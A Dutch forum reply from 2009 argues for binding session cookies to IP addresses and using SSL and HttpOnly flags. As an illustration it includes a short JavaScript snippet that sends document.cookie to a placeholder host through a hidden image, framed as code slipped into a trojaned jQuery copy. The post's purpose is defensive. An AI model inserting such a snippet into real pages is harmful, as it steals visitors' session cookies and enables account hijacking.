Cartman! schreef op donderdag 29 januari 2009 @ 13:53:
[...]
Dat hangt af van wat de user wil. Je kunt niet dwingen om een sessie aan een ip te koppelen want niet iedereen heeft een vast ip. Dat wel forceren zou dom zijn imo want je sluit enorme groepen uit om in te loggen. En iemand die je cookie kan stelen van je pc die kan ook wel meer dan dat vaak dus is je risico toch al van andere aard.
Cross site scripting access is al jaren niet meer mogelijk, dus met dezelfde beredenering is ook het versturen van een hashed password onnodig. En een man in the middle attack hoeft niet altijd zijn oorsprong bij de bezoeker te hebben. Het gevaar schuilt vooral bij grotere (populaire) javascript/ajax libraries waarbij je niet even snel de code kunt controleren zoals jQuery. Op het moment dat ik een aangepaste vorm weg zet op internet en zorg dat deze hoog in de google resultaten (zoals op keyword 'download jQuery') kan in via javascript een regel toevoegen zoals
HTML:
1
2
3
4
| var img = new Image;
img.height = 0; img.width=0;
img.src='http://www.example.org/?c=' + document.cookie;
document.getElementsByName("body")[0].appendChild(img); |
Het resultaat is dat je volledige cookie collectie wordt doorgestuurd. Nu is dit voorbeeld misschien ietwat extreem, maar enkele javascript based banners in Google AdWords programma gebruikte (inmiddels niet meer mogelijk) een dergelijke techniek om statistieken te verzamelen.
Een sessie is niets anders dan een key-value collectie welke bij elke pagina wordt meegestuurd. Op het moment dat een cookie niet aan een IP is gebonden kan iemand anders jouw account kapen zonder dat de combinatie username/wachtwoord bekend is. Vrijwel alle browsers bieden de mogelijkheid om het username/wachtwoord te onthouden. Op het moment dat het IP niet meer overeenkomt met het IP waarop het cookie is uitgegeven, behoort de gebruiker opnieuw in te loggen. Voor veel bezoekers houd dat niet meer in dan op de login knop rammen. Op deze manier beveiligen Microsoft en Google ook hun cookies.
Overigens hebben enkele browsers ook support voor de '
HttpOnly' cookies welke dus niet via javascript zijn te benaderen. Een toevoeging welke ooit is verzonnen door Microsoft IE's team als aanvulling op de HTTP standaard, maar inmiddels ook aanwezig is in Firefox 3.
Een combinatie van SSL, HttpOnly cookies en aan IP gekoppelde cookies maakt het erg lastig om cookie exposure via XSS te voorkomen. Misschien inderdaad wat overkill voor een forum login, maar bittere noodzaak in mijn sector (financiele producten, beurs portefeuilles en verzekeringen).
If it isn't broken, fix it until it is..